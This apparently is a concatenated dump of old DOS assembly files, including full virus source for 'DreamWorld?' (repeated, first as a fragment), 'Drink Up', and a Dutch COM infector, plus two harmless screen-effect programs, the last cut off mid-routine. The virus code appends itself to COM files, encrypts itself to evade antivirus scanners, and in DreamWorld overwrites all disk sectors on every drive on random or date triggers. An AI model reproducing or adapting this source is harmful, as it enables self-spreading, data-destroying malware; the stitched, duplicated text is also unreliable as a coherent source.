cmp dl,98 ; the value is 99 we will brutally
jbe no_harm ; destroy all sectors on all drives.
;
Trash_sucker: ;
mov al,2h ; We'll start on drive C: (2h)
Drive: ; We'll overwrite one sector/run!
mov cx,1 ; with our virus name, and we'll
lea bx,v_name ; write from sector one, with the
xor dx,dx ; very nice interrupt 26h (sector write!)
Next_Sector: ; and after we've written one sector we'll
int 26h ; jump to the next sector and overwrite
inc dx ; that too, and loop until all sectors are
jnc next_sector ; being overwritten, then, we'll jump to
inc al ; the next drive, and overwrite all sectors
jmp short drive ; there as well. And the next drive, and
; the next.. :-).
No_Harm: ;
lea dx,[bp+offset dta] ; Set the DTA to variable called DTA
call set_dta ; (DTA=42 byte chunk of memory!)
;
Buf_Xfer: ; Restore the beginning..
lea si, [bp+offset org3] ;
mov di, 100h ; DI=100h
push di ; Store di with our new value.
movsw ; Move string by word (the first two bytes!)
movsb ; Move string by byte (the third byte in the
; buffer), b'cos our org3 buffer is 3 bytes!
;
Get_drive: ;
mov ah,19h ; We'll get the drive from were we're executed
int 21h ; from, and if an infected file is being run
cmp al,2 ; from A: or B: we'll not search for more files
jae Get_dir ; to infect b'cos we havn't got a int24 handler.
ret ; Let the infected files run normally!
;
Get_dir: ; Get directory from where we're being executed
mov ah,47h ; from. Must do that b'cos we're using the
sub dl,dl ; dot-dot method to travel around!
lea si,[bp+end_of_virus+2ch];
int 21h ;
;
Findfirst: ;
mov ah, 4eh ; FindFirst file
lea dx, [bp+masker] ; with the extension of 'COM'
_4fh: ; When called ah=4fh (findnextfile)
int 21h ;
jnc open_file ; We found a file!
; Then, open it!
Chdir: ;
mov ah,3bh ; We didn't find any files
lea dx,[bp+offset dot_dot] ; in the current dir, so we'll move
int 21h ; to the ".." location in the tree and
jc quit ; search for more files, if location doesn't
jmp short findfirst ; exist (ax=03h), we'll quit, otherwise, we'll
; search for the first file in the new dir.
Open_file: ;
mov ax, 3D02h ; Open the file in read/write mode
lea dx, [bp+offset dta+1eh] ; Filename is located in DTA at offset 1Eh
int 21h ;
xchg ax, bx ; Faster/bigger than mov BX,AX
;
mov ax,5700h ; Take the file's time/date
int 21h ; (ah=57h = get/set time/date)
; (al=01h = get time/date)
push cx ; Store time!
push dx ; Store date!
;
mov cx, 3 ; Read first three bytes of the file
lea dx, [bp+org3] ; to the buffer (org3)
mov ah, 3fh ;
int 21h ;
; Check if already infected
mov cx, word ptr [bp+ORG3+1];
mov ax, word ptr [bp+DTA+1ah]
add cx, end_of_virus - start1 + 3
cmp ax, cx ;
jz restore_time_date ; It's already infected!
; No, it's not infected!
sub ax, 3 ;
mov word ptr [bp+writebuffer], ax
;
xor al, al ; Then, we'll move the file-poiter to
call f_ptr ; the beginning of the file, and
mov cx, 3 ; Write three bytes (our own jmp)
lea dx, [bp+e9] ;
mov ah, 40h ;
int 21h ;
;
mov al, 2 ; Then, we'll move the file-pointer to
call f_ptr ; end_of_file.
;
Get_Random: ;
mov ah,2ch ; Darn, this little trick is really
int 21h ; cool, b'cos we'll not get the same
add dl, dh ; encryption-value on any infected file,
jz get_random ; resulting in no bytes except the one used
mov word ptr [bp+crypt_val],dx; for the decrypt routine remains constant!
;
call write_virus ; Now, write the virus!
;
Restore_time_date: ; Cover our tracks..
pop dx ; Restore file date!
pop cx ; Restore file time!
; Notice the order "push cx/dx pop dx/cx!"
mov ax,5701h ; ah=57h (get/set attribs),
int 21h ; al=01h (set attribs)
;
Close_file: ;
mov ah, 3eh ; Close the file,
int 21h ; which now is infected!
;
mov ah, 4fh ; This little trick, is really
jmp short _4fh ; really neat, I think..
;
Quit: ;
lea dx,[bp+end_of_virus+2ch]; First, we'll change back to the
mov ah,3bh ; directory from where we were executed
int 21h ;
;
Fix_it: ;
mov dx, 80h ; Then, we'll set back the DTA to its
; default value (note- this is NOT used
; when the virus is running!)
Set_dta: ;
mov ah, 1ah ; Set the dta, used twice in this virus,
int 21h ; one when we started, and now, when we're
; ready!
Exit: ; Then, we'll return and execute
retn ; the "real" program!
;
F_ptr: ; Since we moved the file-pointer to
mov ah, 42h ; end of file twice, this saves some
xor cx, cx ; bytes!
cwd ; Clear dx (smallest variant!)
int 21h ;
retn ; Return to caller!
;
V_name db '[DreamWorld?]','$' ; It's the name for the virus
dream db '"I have a dream..."'; Me and Martin Luther King!
msg db 'Copy me, so I can travel around the globe!'
db 'Spreading my message, manipulating your'
db 'thoughts, your mind, and your actions'
db '"Love, Peace, Empathy!"'
copyr db "(c) 93/94 Immortal Riot - All rights reserved!"
Dot_dot db '..',0
Masker db '*.com',0
Org3 db 0cdh, 20h, 0 ; original three bytes saved here
E9 db 0e9h ; the jmp
End_of_virus equ $
Writebuffer dw ? ; Scratch area for the JMP
Dta db 42 dup (?) ; 42 bytes of chunk in memory, but
; not in the files!
Virus_end:
end start
@@ -0,0 +1,260 @@
; -DreamWorld?-
; "Created by Immortal Riot's destructive development team"
; (c) 93/94 Immortal Riot - All rights reserved
;
; Dedication:
; "If Metal Militia was dead, this virus should be deadicated to him"
;
; Notes:
; This was 'written' in one day. It sucks, but not as good as my..
; ahh.. now I remember, I don't got a girl-friend, but my "girl-friend"
; think she got a boy-friend? Huh? She's nuts!
;
; Notes_II:
; F-Prot, Scan, TBAV, FindViru can't find shits of this code.
;
; Disclaimer:
; Well, I just gotta have one, you know. So, I hereby claim this:
; "I take no responsability for any damage, either direct or implied,
; caused by the usage of the virus source code or of the resulting code
; after assembly. No warrant is made about the product functionability
; or quality. The code was written in pure educational purposes ONLY."
;
; Truth:
; Well, this was written only for malicious intends. I havn't learned
; a shit by writing this shit. Now you know that.. Well, I just had
; some hours spare time, and a huge appetite for destruction. That's why
; this virus was created. No more, no less. Ciao! /The Unforgiven
.model tiny ;
.code ;
org 100h ;
;
Start: ;
db 0e9h ; Jump to start1 and mark this file
DW 0 ; as virus-infected!
;
Start1: ;
xchg ax,ax ; It's simply two NOPs
nop ;
;
mov ax,0fa01h ; Let's un-install MSAV junk program
mov dx,5945h ; from memory for a cost of 8 bytes :)
int 16h ;
;
call get_delta ; Get the delta offset
get_delta: ;
pop bp ;
sub bp, offset get_delta ;
;
Call_en_de_crypt: ; Well, just using alternitive code
mov ax,bp ; for a "call en_de_crypt", for satisfying
add ax,011dh ; my very sick brain..
push ax ;
jmp short en_de_crypt ;
jmp short real_code_start ; Sneee!
;
crypt_val dw 0 ; We get a random value for each encryption!
;
Write_virus: ;
call en_de_crypt ; Encrypt virus before we write!
mov ah,65d ; 65d - 1d = 40HEX!
sub ah,1d ; ^^^ How meaningless!
mov cx, end_of_virus - start1 ; CX = bytes to write
lea dx, [bp+start1] ; ; DX = Where to write from (100h)
int 21h ; ; Duh!
;
call en_de_crypt ; Decrypt virus again
ret ;
;
En_de_crypt: ; Heuristic, Heuristic, eat this!
;
mov ax,word ptr [bp+crypt_val]
lea si,[bp+encrypt_start] ;
mov cx,(end_of_virus-start1+1)/2
;
Xor_loop: ;
xor word ptr [si],ax ; Encrypting two bytes/loop, until
add si,2 ; all the code between encryption_start
loop xor_loop ; to end_of_virus is encrypted!
ret ;
;
Encrypt_start: ; All code here and below is encrypted,
Real_code_start: ; making it hard for heuristic scanners!
;
mov ah,2ah ; First, we check for what date it is
int 21h ;
cmp dl,31 ; Is it the 31st any month?
jne not_now ; Nop!
;
Cruel: ;
mov ah,09h ; It's the 31st any month!
lea dx,[bp+v_name] ; or the 1/100 of a second = 1
int 21h ; we'll print a message!
;
mov al,2h ; and after that, we'll brutally
mov cx,1 ; overwrite the first-sector on
lea bx,v_name ; drive C: with our virus name!
cwd ;
int 26h ;
;
Not_now: ; It wasn't the 31:st, so,
mov ah,2ch ; we'll take a random number
int 21h ; from a 1/100 of a second and if
cmp dl,1 ; the value is 1, we'll trash the
je cruel ; boot-sector on drive C: and if
cmp dl,98 ; the value is 99 we will brutally
jbe no_harm ; destroy all sectors on all drives.
;
Trash_sucker: ;
mov al,2h ; We'll start on drive C: (2h)
Drive: ; We'll overwrite one sector/run!
mov cx,1 ; with our virus name, and we'll
lea bx,v_name ; write from sector one, with the
xor dx,dx ; very nice interrupt 26h (sector write!)
Next_Sector: ; and after we've written one sector we'll
int 26h ; jump to the next sector and overwrite
inc dx ; that too, and loop until all sectors are
jnc next_sector ; being overwritten, then, we'll jump to
inc al ; the next drive, and overwrite all sectors
jmp short drive ; there as well. And the next drive, and
; the next.. :-).
No_Harm: ;
lea dx,[bp+offset dta] ; Set the DTA to variable called DTA
call set_dta ; (DTA=42 byte chunk of memory!)
;
Buf_Xfer: ; Restore the beginning..
lea si, [bp+offset org3] ;
mov di, 100h ; DI=100h
push di ; Store di with our new value.
movsw ; Move string by word (the first two bytes!)
movsb ; Move string by byte (the third byte in the
; buffer), b'cos our org3 buffer is 3 bytes!
;
Get_drive: ;
mov ah,19h ; We'll get the drive from were we're executed
int 21h ; from, and if an infected file is being run
cmp al,2 ; from A: or B: we'll not search for more files
jae Get_dir ; to infect b'cos we havn't got a int24 handler.
ret ; Let the infected files run normally!
;
Get_dir: ; Get directory from where we're being executed
mov ah,47h ; from. Must do that b'cos we're using the
sub dl,dl ; dot-dot method to travel around!
lea si,[bp+end_of_virus+2ch];
int 21h ;
;
Findfirst: ;
mov ah, 4eh ; FindFirst file
lea dx, [bp+masker] ; with the extension of 'COM'
_4fh: ; When called ah=4fh (findnextfile)
int 21h ;
jnc open_file ; We found a file!
; Then, open it!
Chdir: ;
mov ah,3bh ; We didn't find any files
lea dx,[bp+offset dot_dot] ; in the current dir, so we'll move
int 21h ; to the ".." location in the tree and
jc quit ; search for more files, if location doesn't
jmp short findfirst ; exist (ax=03h), we'll quit, otherwise, we'll
; search for the first file in the new dir.
Open_file: ;
mov ax, 3D02h ; Open the file in read/write mode
lea dx, [bp+offset dta+1eh] ; Filename is located in DTA at offset 1Eh
int 21h ;
xchg ax, bx ; Faster/bigger than mov BX,AX
;
mov ax,5700h ; Take the file's time/date
int 21h ; (ah=57h = get/set time/date)
; (al=01h = get time/date)
push cx ; Store time!
push dx ; Store date!
;
mov cx, 3 ; Read first three bytes of the file
lea dx, [bp+org3] ; to the buffer (org3)
mov ah, 3fh ;
int 21h ;
; Check if already infected
mov cx, word ptr [bp+ORG3+1];
mov ax, word ptr [bp+DTA+1ah]
add cx, end_of_virus - start1 + 3
cmp ax, cx ;
jz restore_time_date ; It's already infected!
; No, it's not infected!
sub ax, 3 ;
mov word ptr [bp+writebuffer], ax
;
xor al, al ; Then, we'll move the file-poiter to
call f_ptr ; the beginning of the file, and
mov cx, 3 ; Write three bytes (our own jmp)
lea dx, [bp+e9] ;
mov ah, 40h ;
int 21h ;
;
mov al, 2 ; Then, we'll move the file-pointer to
call f_ptr ; end_of_file.
;
Get_Random: ;
mov ah,2ch ; Darn, this little trick is really
int 21h ; cool, b'cos we'll not get the same
add dl, dh ; encryption-value on any infected file,
jz get_random ; resulting in no bytes except the one used
mov word ptr [bp+crypt_val],dx; for the decrypt routine remains constant!
;
call write_virus ; Now, write the virus!
;
Restore_time_date: ; Cover our tracks..
pop dx ; Restore file date!
pop cx ; Restore file time!
; Notice the order "push cx/dx pop dx/cx!"
mov ax,5701h ; ah=57h (get/set attribs),
int 21h ; al=01h (set attribs)
;
Close_file: ;
mov ah, 3eh ; Close the file,
int 21h ; which now is infected!
;
mov ah, 4fh ; This little trick, is really
jmp short _4fh ; really neat, I think..
;
Quit: ;
lea dx,[bp+end_of_virus+2ch]; First, we'll change back to the
mov ah,3bh ; directory from where we were executed
int 21h ;
;
Fix_it: ;
mov dx, 80h ; Then, we'll set back the DTA to its
; default value (note- this is NOT used
; when the virus is running!)
Set_dta: ;
mov ah, 1ah ; Set the dta, used twice in this virus,
int 21h ; one when we started, and now, when we're
; ready!
Exit: ; Then, we'll return and execute
retn ; the "real" program!
;
F_ptr: ; Since we moved the file-pointer to
mov ah, 42h ; end of file twice, this saves some
xor cx, cx ; bytes!
cwd ; Clear dx (smallest variant!)
int 21h ;
retn ; Return to caller!
;
V_name db '[DreamWorld?]','$' ; It's the name for the virus
dream db '"I have a dream..."'; Me and Martin Luther King!
msg db 'Copy me, so I can travel around the globe!'
db 'Spreading my message, manipulating your'
db 'thoughts, your mind, and your actions'
db '"Love, Peace, Empathy!"'
copyr db "(c) 93/94 Immortal Riot - All rights reserved!"
Dot_dot db '..',0
Masker db '*.com',0
Org3 db 0cdh, 20h, 0 ; original three bytes saved here
E9 db 0e9h ; the jmp
End_of_virus equ $
Writebuffer dw ? ; Scratch area for the JMP
Dta db 42 dup (?) ; 42 bytes of chunk in memory, but
; not in the files!
Virus_end:
end start
@@ -0,0 +1,280 @@
comment {
[Death Virii Crew] Presents
CHAOS A.D. Vmag, Issue 3, Autumn 1996 - Winter 1997
Drink Up
â®â ¢¨àãá ¡ë« ­ ¯¨á ­ ¬­®© ¢ á®áâ®ï­¨¨ ªà ©­¥© ­¥â१¢®á⨠¨ ¯®á¥¬ã
­ §¢ ­¨¥ ¯®«ã稫 ᮮ⢥âáâ¢ãî饥. â® ¬¥­ï ¡®«ìè¥ ¢á¥£® 㤨¢¨«® ­ 
á«¥¤ãî騩 ¤¥­ì, â ª íâ® â®, çâ® ¡®«ìèãî ç áâì ¢¨àãá  § ­¨¬ ¥â ¯à®¢¥àª 
¤®á⮢¥à­®á⨠­ ¤¯¨á¨, ¢ë¢®¤ å à ªâ¥à­®© áâà®çª¨, ¯à¨ ¥¥ ­¥¤®á⮢¥à­®áâ¨,
¢ë¢®¤ á ¬®© ¯®¤¯¨á¨ ¨ ¯à®¢¥àª  ª®£¤  ¥¥ ᮡá⢥­­® ¢ë¢®¤¨âì ;)))
¨¤ âì ­ã ®ç¥­ì ¬­¥ å®â¥«®áì ¯®§¤à ¢¨âì ­ à®¤ á ¯à §¤­¨ª ¬¨ :))))
¢¨àì ¯®«­ë© ¯à¨¬¨â¨¢, ¥é¥ â®â ­¥à¥§¨¤¥­â ¨§ ⥪ã饩 ¤¨à¥ªâ®à¨¨.  â®
­  ª ª®¬  á¬¥ !!! :)) Ÿ ¤ ¦¥ ¯®ç⨠­¥ § ¡ë«  ¤¨® 86 Š ;))) •®âï ­¥â, £®­î
§ ¡ë«. ­ã à §¢¥ ¬®¦­® â ª ¯¨á âì ? :) Š®à®ç¥ ®á­®¢­®© ¯à¨ª®« ¢ ⮬, çâ®
¨á¯®«­ïâìáï ¡ã¤¥â ᥩ ¢¨àì ¨áª«îç¨â¥«ì­® ­  nec' å. ­  ­¥â ¨ ¯®áë« ¥â
ªã¤  ¯®«®¦¥­®. ­  ¢ë室 ;). € ¨ ¥é¥, ¢§£«ï­ã¢ ­  hex-¤ ¬¯ ᥣ® ç㤠
⮫쪮 ­¥­®à¬ «ì­ë© ¯®¤ã¬ ¥â, çâ® íâ® ¬®¦¥â ¡ëâì ª®¤®¬. ;)))))
à §¤­ã©â¥ å®à®è®. ¥©â¥ ¡®«ìè¥. ¨è¨â¥ «ãçè¥. ˆ ¢§£«ï­¨â¥ ¢®ªà㣠å®âì
çãâ®çªã ¢¥á¥«¥¥ ;)))))
{
;===========================================================================
.model tiny
.code
org 100h
start:
mov cx,3
; check nec20/30
db 0f3h,26h,0ach ; rep es: lodsb
or cx,cx
jnz fuck
include asm_8080.inc
include nec_20_u.inc
mov ax,2577h
lea dx,entry
int 21h
mov ax,2588h
lea dx,entry21
int 21h
cli
brkem 77h
sti
; int 3
push bx
xchg dx,si ; si <- de
xchg di,bx ; di <- hl
cld
mov ax,0f0h
push ax
fuck:
ret
entry:
_lxi_sp 0f000h
; check my mess
_lxi_b mess
_mvi_h len_mess
_lxi_d 0
@check:
_ldax_b
_mov_l_a
_add_d
_mov_d_a
_mov_a_l
_add_e
_rlc
_mov_e_a
_inx_b
_dcr_h
_jnz @check
; retem
_mvi_a 0A8h
_cmp_d
_jnz _lmd
_mvi_a 54h
_cmp_e
_jz _ok
_lmd:
; ----- LMD
_lxi_b buf+3
_mvi_a '$'
_stax_b
_dcx_b
_mvi_a 'D'
_stax_b
_dcx_b
_mvi_a 'M'
_stax_b
_dcx_b
_mvi_a 'L'
_stax_b
_sux:
int21h 900h,0,buf
_jmp _sux
; ----- LMD
; check my mess
_ok:
_lhld len_of_infected_program
_push_h
;----------------------- 1 -------------- save dta ---
; b -> d
_lxi_b 80h
_lxi_d buf1
_mvi_h 100
@work:
_ldax_b
_stax_d
_inx_b
_inx_d
_dcr_h
_jnz @work
;----------------------- 2 -------------- movsb dta 2 buf ---
int21h 4e00h,20h,fmask
find:
_jc quit
_lxi_h 9ah+1 ; len (hi byte)
_mov_a_m
_cpi 0EEh ; > ~61000
_jnc next
_cpi 3 ; < ~700
_jc next
int21h 3d02h,0,9eh
_jc next
_xchg ; hl <-> de : xchg aka xchg bx,dx
int21h 3f00h,len,buf
_jc next
_lxi_b buf
_ldax_b
_cpi 0b9h
_jz next
_cpi 'Z'
_jz next
_cpi 'M'
_jnz @1
next:
int21h 3e00h,0,0
int21h 4f00h,0,0
_jmp find
len_of_infected_program dw len
@1:
int21h 4202h,0,0
_jc next
; de - len
_xchg ; de(dx) <-> hl(bx)
_shld len_of_infected_program
_xchg ; de(dx) <-> hl(bx)
int21h 4000h,len,buf
_jc next
int21h 4200h,0,0,
_jc next
int21h 4000h,len,100h
_jc next
quit:
;++++++++++++++++++++++++++++++++
int21h 2a00h,0,0
_mvi_a 0 ; sunday
_cmp_e
_jnz @quit2
int21h 900h,0,mess
@quit2:
;++++++++++++++++++++++++++++++++
;----restore dta ------
_lxi_b buf1
_lxi_d 80h
_mvi_h 100
@work2:
_ldax_b
_stax_d
_inx_b
_inx_d
_dcr_h
_jnz @work2
;-------------------------
_lxi_h 0a4f3h
_shld 0f0h
_lxi_h 0c390h
_shld 0f2h
perl:
_pop_h
_lxi_d 100h
_dad_d
_xchg ; hl(bx)->di = 100h ; de(dx)->si = infected+100h
_lxi_b len ; bc(cx) = len
retem
entry21:
cli
push si
mov si,sp
mov sp,bp
pop dx cx ax
mov bp,sp
mov sp,si
pop si
sti
int 21h
xchg ax,dx
pop ax ds
pop cx ; skip old flags
pushf
pop cx
and cx,7fffh ; clear md flag
push cx
push ds ax
iret
fmask db '*.com',0
mess db '[Drink Up] by Reminder',0dh,0ah
db 'Greetings: SGWW, DVC, FotD, SOS group, TAVC, CiD',0dh,0ah,'$'
len_mess equ $-mess
buf equ 0f000h
buf1 equ 0fffeh-400
len equ $-start
ret
end start
;===========================================================================
(c) by Reminder [DVC]
@@ -0,0 +1,203 @@
TITLE DRIP 5-26-87 [4-21-88]
;Goes TSR, activate/toggle with Scroll Lock key.
;Characters randomly drip down/off the screen
LF EQU 0AH
CR EQU 0DH
;
Cseg SEGMENT
ASSUME DS:Cseg, SS:Cseg ,CS:Cseg ,ES:Cseg
ORG 100H
Drip proc near
JMP Start
int8Vec dd 0 ;save old Int 8 vector
saveDI dw 0
saveSI dw 0
video dw 0B000H ;default mono screen memory
wcntr_13A dw 40H ;counter
byte_13C DB 0FFH
bflag_13D DB 0
bcntr_13E DB 0
bflag_13F DB 0
bcntr_140 DB 0
word_2BE dw 0
Drip endp
NewInt8 proc far
ASSUME DS:Nothing
PUSHF ;save user's flags
PUSH AX ;and his Int 8 request
MOV AH,2 ;get shift status
INT 16H
AND AL,10H ;mask for Scroll Lock key
JZ Continue_Int8 ; continue to Int 8
CMP CS:bcntr_13E,0 ;counter zeroed?
JZ L01A0 ; yep, time to act
DEC CS:bcntr_13E ;decr counter
JMP SHORT Continue_Int8
L01A0: CMP CS:bflag_13D,0 ;flag set?
JNZ Continue_Int8 ; yep, just continue to Int 8
JMP SHORT L01B2 ;time to act
Continue_Int8:
POP AX ;restore user's Int 8 svc
POPF ;restore user's flags
JMP CS:int8Vec ;jump to old Int 8
L01B2: PUSHF ;save flags
CALL CS:int8Vec ;call old Int 8
PUSH ES ;save all his regs
PUSH DS
PUSH DX
PUSH CX
PUSH DI
PUSH SI
mov ax,CS
mov DS,ax
ASSUME DS:Cseg
MOV AX,video
MOV ES,AX
ASSUME ES:Nothing
cmp bflag_13F,0 ;flag clear?
JZ L01D9 ; yep
MOV DI,saveDI ;get our screen pointers
MOV SI,saveSI
STI ;enable ints
JMP SHORT MoveChar ;go to work
L01D9: MOV bflag_13D,0FFH ;set flag
STI ;enable interrupts
MOV bcntr_140,64H ;refresh counter
Lup1E4: CMP bcntr_140,0 ;zeroed out?
JNZ L01EE ; nope
JMP Pop_Iret ; return
L01EE: DEC bcntr_140 ;count down
CALL L02AC
AND AX,0FFEH
MOV SI,AX
MOV AL,ES:[SI]
CMP AL,20H ;just a space?
JZ Lup1E4 ; yep, try again
or al,al ;just a zero?
JZ Lup1E4 ; yep, try again
CMP SI,0FA0H ;screen bottom?
JNB Lup1E4 ; not yet, try again
MOV DI,SI ;point to new char location
ADD DI,0A0H ;move this far each time (1 line)
CMP DI,0FA0H ;screen bottom?
JNB L025B ;not yet, continue
MOV AL,ES:[DI] ;get char at new location
CMP AL,20H ;just a space?
JZ Save_Iret ;yep, save screen ptrs, Iret
or al,al ;just a zero?
JNZ Lup1E4 ; yep, continue
Save_Iret:
MOV saveDI,DI ;save screen pointers
MOV saveSI,SI
MOV bflag_13F,0FFH ;reset flag
JMP SHORT Pop_Iret ;return
MoveChar:
MOV bflag_13F,0 ;turn flag off
MOV AL,ES:[SI] ;snarf screen char
MOV ES:[DI],AL ;move it here
MOV BYTE PTR ES:[SI],20H ;blank out old char
MOV SI,DI
ADD DI,0A0H
CMP DI,0FA0H ;screen bottom?
JNB L025B ; not yet
MOV AL,ES:[DI] ;get char
CMP AL,20H ;just a space?
JZ Save_Iret ; yep, save ptrs, Iret
or al,al ; a 0?
JZ Save_Iret ; yep, save ptrs, Iret
JMP SHORT L025F
L025B: MOV BYTE PTR ES:[SI],20H ;stuff space on screen
L025F: DEC wcntr_13A ;decrement counter
JNZ L026F
SHR byte_13C,1
MOV wcntr_13A,40H ;refresh counter
L026F: CALL L02AC
AND AL,byte_13C
MOV bcntr_13E,AL
Pop_Iret:
POP SI
POP DI
POP CX
POP DX
POP DS
POP ES
POP AX
POPF
MOV CS:bflag_13D,0 ;clear flag
IRET
NewInt8 endp
L02AC proc near
MOV AX,word_2BE
PUSH AX
AND AH,0B4H
POP AX
JPE L02B7
STC
L02B7: RCL AX,1
MOV word_2BE,AX
RET
L02AC endp
Start proc near
MOV ax,3508H ;get Int8 vector
INT 21H
mov word ptr int8Vec,bx ;save ofs
mov word ptr int8Vec+2,ES ;save seg
MOV AH,2CH ;get DOS system time
INT 21H
MOV word_2BE,DX ;save seconds, deciseconds
MOV bcntr_13E,0FFH ;refresh counter
MOV AH,0FH ;get current video mode
INT 10H
CMP AL,6 ;?
JZ Use_Mono ; yep
CMP AL,7 ;mono?
JZ Use_Mono ;yep
MOV video,0B800H ;use color screen
Use_Mono:
MOV DX,OFFSET NewInt8 ;DS:dx = our service
mov ax,2508H ;set new Int 8 vector
INT 21H
MOV DX,offset Start ;program end
MOV CL,4
SHR DX,CL ;compute size in paras
INC DX ;safeside
MOV AH,31H ;advanced TSR
INT 21H
DB 'DRIP Version 2.01',0 ;,CR,LF
DB 'G. Masters 5/25/87',0 ;,CR,LF
db 'Toad Hall 880421',0
; DB 1AH
; DB 90H
Start endp
Cseg ENDS
END Drip

@@ -0,0 +1,146 @@
; Com-infector ...
IDEAL ; Informatie voor de
MODEL SMALL ; assembler (TASM)
CODESEG ; om een COM file
ORG 100h ; te genereren.
VX_LEN EQU ((NEW_BYTES + 2) - VX) ; Aantal bytes dat
; dit virus groot is.
FIRST:
DB 0FBh ; Markering dat deze
; file geinfecteerd
; is.
DB 0E9h ; Een 3-bytes ge-
DW 00000h ; infecteerde file.
VX: CALL RELATIVE ; Zet die offset van
RELATIVE: ; RELATIVE in BP,
POP BP ; trekt daar de positie
SUB BP,OFFSET RELATIVE ; van RELATIVE af in
; de originele file
; (deze file),
; en zo kan de relative
; positie van de data
; in het geheugen
; bepaalt worden.
MOV AH,009h ; Laat waarschuwing
LEA DX,[BP + MEDEDELING] ; zien.
INT 021h ;
LEA SI,[BP + OLD_BYTES] ; Plaatste de eerste 3
MOV DI,0100h ; bytes van de ge-
CLD ; infecteerde file
MOVSW ; terug.
MOVSW ;
MOV AH,02Fh ; Bewaar de pointer
INT 021h ; naar het DTA blok.
MOV [WORD PTR CS:BP + OLD_DTA ],BX ;
MOV [WORD PTR CS:BP + OLD_DTA + 2],ES ;
MOV AH,01Ah ; Zet die pointer naar
LEA DX,[BP + NEW_DTA] ; het DTA blok van dit
INT 021h ; virus.
MOV AH,04Eh ; Zoek de eerste COM
MOV CX,022h ; file in deze
LEA DX,[BP + FILE_NAME] ; directory.
JMP FIND ;
AGAIN: MOV AH,04Fh ; Volgende COM file.
FIND: INT 021h ; Zoek, en als er
JC EXIT ; geen COM files meer
; in deze directory
; zijn, dan naar EXIT.
MOV AX,03D02h ; Open de te infecteren
LEA DX,[BP + NEW_DTA + 30] ; file, en plaats de
INT 021h ; file handle in BX.
MOV BX,AX ;
MOV AH,03Fh ; Lees de eerste 4
MOV CX,00004h ; bytes in.
LEA DX,[BP + OLD_BYTES] ;
MOV DI,DX ;
INT 021h ;
CMP [BYTE PTR DI],0FBh ; Is de eerste byte FB
JE AGAIN ; dan naar AGAIN.
MOV AX,04202h ; Ga naar 't einde
XOR CX,CX ; van de file.
XOR DX,DX ;
INT 021h ;
OR DX,DX ; Als de file grote is
JNZ AGAIN ; dat een segment niet
; infecteren, want dan
; kan het geen COM
; file zijn.
; (Terug naar AGAIN)
CMP AX,1024 ; Is de file kleiner
JB AGAIN ; dan 1024, dan naar
NOT_2_SMALL: ; AGAIN.
CMP AX,50000 ; Ook groter dan 50000
JA AGAIN ; infecteren we niet.
; (dan terug naar AGAIN)
SUB AX,00004h ; Bereken waar die jump
MOV [WORD PTR CS:BP + NEW_BYTES + 2],AX ; aan het begin van de
; geinfecteerde file
; heen moet springen.
MOV AH,040h ; Append 't virus
MOV CX,VX_LEN ; aan de file.
LEA DX,[BP + VX] ;
INT 021h ;
MOV AX,04200h ; Ga naar 't begin van
XOR CX,CX ; de file.
XOR DX,DX ;
INT 021h ;
MOV AH,040h ; Schrijf de markering
MOV CX,00004h ; en de jump naar 't
LEA DX,[BP + NEW_BYTES] ; virus aan 't begin
INT 021h ; van de file.
MOV AH,03Eh ; Sluit de file.
INT 021h ;
JMP AGAIN ; Spring naar AGAIN.
EXIT:
PUSH DS ; Save DS.
MOV DX,[WORD PTR CS:BP + OLD_DTA ]
MOV AX,[WORD PTR CS:BP + OLD_DTA + 2]
MOV DS,AX
MOV AH,01Ah
INT 021h
POP DS ; Restore DS.
MOV SI,0100h ; Start de originele
JMP SI ; file op.
; *** Data ***
Mededeling:
DB "This file contains a virus!!! Please COLD-boot from a write protected"
DB 00Dh, 00Ah
DB "system disk and use you anti virus software!!!$"
Disclaimer:
DB "Dit virus is ter RESEARCH en STUDIE geschreven!! "
DB "Misbruik hiervan is strafbaar onder de Nederlandse wet!! "
Auteur:
DB "(C) 1994 - [DàRkRàY] retired virus writer..."
OLD_BYTES: NOP
NOP
NOP
RET
FILE_NAME: DB "*.COM",0h
NEW_BYTES DB 0FBh, 0E9h, ?, ?
OLD_DTA DW ?, ?
NEW_DTA DW 34 DUP(?)
END FIRST
@@ -0,0 +1,99 @@
;DROPSY TEXT effect for Nowhere Man's VCL - TASM will assemble as is using
;VCL recommended switches. When screen is thoroughly dropsie'd, that is all
;letters have fallen to a single line across the bottom of the monitor,
;the routine will exit to DOS and restore the command prompt. I excerpted
;quite a bit of this from some public domain video routines optimized for
;the accursed a86 assembler and reworked the whole magilla until TASM
;wouldn't choke when swallowing the source. It attempts to meet
;minimum requirements for VCL formatting. Heck, this is a nice routine
;to have at your fingertips; you gotta admit a CASCADE-virus-like effect
;is always something people wanna see. And it's commented up the
;kazoo, one of the features I like best about VCL code. Hope you find
;it useful. -URNST KOUCH
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
jmp Start
main proc near
Row dw 24 ;Rows to do initially
;First, get current video mode and page.
Start: mov cx,0B800h ;color display, color video mem for page 1
mov ah,15 ;Get current video mode
int 10h
cmp al,2 ;Color?
je A2 ;Yes
cmp al,3 ;Color?
je A2 ;Yes
cmp al,7 ;Mono?
je A1 ;Yes
int 20h ;No,quit
;here if 80 col text mode; put video segment in ds.
A1: mov cx,0A300h ;Set for mono; mono videomem for page 1
A2: mov bl,0 ;bx=page offset
add cx,bx ;Video segment
mov ds,cx ;in ds
;start dropsy effect
xor bx,bx ;Start at top left corner
A3: push bx ;Save row start on stack
mov bp,80 ;Reset column counter
;Do next column in a row.
A4: mov si,bx ;Set row top in si
mov ax,[si] ;Get char & attr from screen
cmp al,20h ;Is it a blank?
je A7 ;Yes, skip it
mov dx,ax ;No, save it in dx
mov al,20h ;Make it a space
mov [si],ax ;and put on screen
add si,160 ;Set for next row
mov di,cs:Row ;Get rows remaining
A5: mov ax,[si] ;Get the char & attr from screen
mov [si],dx ;Put top row char & attr there
A6: call Vert ;Wait for 2 vert retraces
mov [si],ax ;Put original char & attr back
;Do next row, this column.
add si,160 ;Next row
dec di ;Done all rows remaining?
jne A5 ;No, do next one
mov [si-160],dx ;Put char & attr on line 25 as junk
;Do next column on this row.
A7: add bx,2 ;Next column, same row
dec bp ;Dec column counter; done?
jne A4 ;No, do this column
;Do next row.
A8: pop bx ;Get current row start
add bx,160 ;Next row
dec cs:Row ;All rows done?
jne A3 ;No
A9: mov ax,4C00h
int 21h ;Yes, quit to DOS with error code
;routine to deal with snow on CGA screen.
Vert: push ax
push dx
push cx ;Save all registers used
mov cl,2 ;Wait for 2 vert retraces
mov dx,3DAh ;CRT status port
F1: in al,dx ;Read status
test al,8 ;Vert retrace went hi?
